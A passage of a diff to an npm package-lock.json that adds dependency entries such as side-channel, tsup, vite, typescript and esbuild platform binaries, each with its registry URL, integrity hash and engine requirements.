"node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", + "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4", + "side-channel-list": "^1.0.1", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", + "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/source-map": { + "version": "0.7.6", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.6.tgz", + "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">= 12" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/sucrase/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-0.3.2.tgz", + "integrity": "sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinypool": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/tinypool/-/tinypool-1.1.1.tgz", + "integrity": "sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + } + }, + "node_modules/tinyrainbow": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-1.2.0.tgz", + "integrity": "sha512-weEDEq7Z5eTHPDh4xjX789+fHfF+P8boiFB+0vbWzpbnbsEr/GRaohi/uMKxg8RZMXnl1ItAi/IUHWMsjDV7kQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tinyspy": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-3.0.2.tgz", + "integrity": "sha512-n1cw8k1k0x4pgA2+9XrOkFydTerNcJ1zWCO5Nn9scWHTD+5tp8dghT2x1uduQePZTZgd3Tupf+x9BxJjeJi77Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tree-kill": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "dev": true, + "license": "MIT", + "bin": { + "tree-kill": "cli.js" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/tsup": { + "version": "8.5.1", + "resolved": "https://registry.npmjs.org/tsup/-/tsup-8.5.1.tgz", + "integrity": "sha512-xtgkqwdhpKWr3tKPmCkvYmS9xnQK3m3XgxZHwSUjvfTjp7YfXe5tT3GgWi0F2N+ZSMsOeWeZFh7ZZFg5iPhing==", + "dev": true, + "license": "MIT", + "dependencies": { + "bundle-require": "^5.1.0", + "cac": "^6.7.14", + "chokidar": "^4.0.3", + "consola": "^3.4.0", + "debug": "^4.4.0", + "esbuild": "^0.27.0", + "fix-dts-default-cjs-exports": "^1.0.0", + "joycon": "^3.1.1", + "picocolors": "^1.1.1", + "postcss-load-config": "^6.0.1", + "resolve-from": "^5.0.0", + "rollup": "^4.34.8", + "source-map": "^0.7.6", + "sucrase": "^3.35.0", + "tinyexec": "^0.3.2", + "tinyglobby": "^0.2.11", + "tree-kill": "^1.2.2" + }, + "bin": { + "tsup": "dist/cli-default.js", + "tsup-node": "dist/cli-node.js" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@microsoft/api-extractor": "^7.36.0", + "@swc/core": "^1", + "postcss": "^8.4.12", + "typescript": ">=4.5.0" + }, + "peerDependenciesMeta": { + "@microsoft/api-extractor": { + "optional": true + }, + "@swc/core": { + "optional": true + }, + "postcss": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/type-is": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", + "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", + "license": "MIT", + "dependencies": { + "content-type": "^2.0.0", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/type-is/node_modules/content-type": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", + "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/ufo": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.6.4.tgz", + "integrity": "sha512-JFNbkD1Svwe0KvGi8GOeLcP4kAWQ609twvCdcHxq1oSL8svv39ZuSvajcD8B+5D0eL4+s1Is2D/O6KN3qcTeRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vite-node": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-2.1.9.tgz", + "integrity": "sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cac": "^6.7.14", + "debug": "^4.3.7", + "es-module-lexer": "^1.5.4", + "pathe": "^1.1.2", + "vite": "^5.0.0" + }, + "bin": { + "vite-node": "vite-node.mjs" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/vite-node/node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/vite/node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": 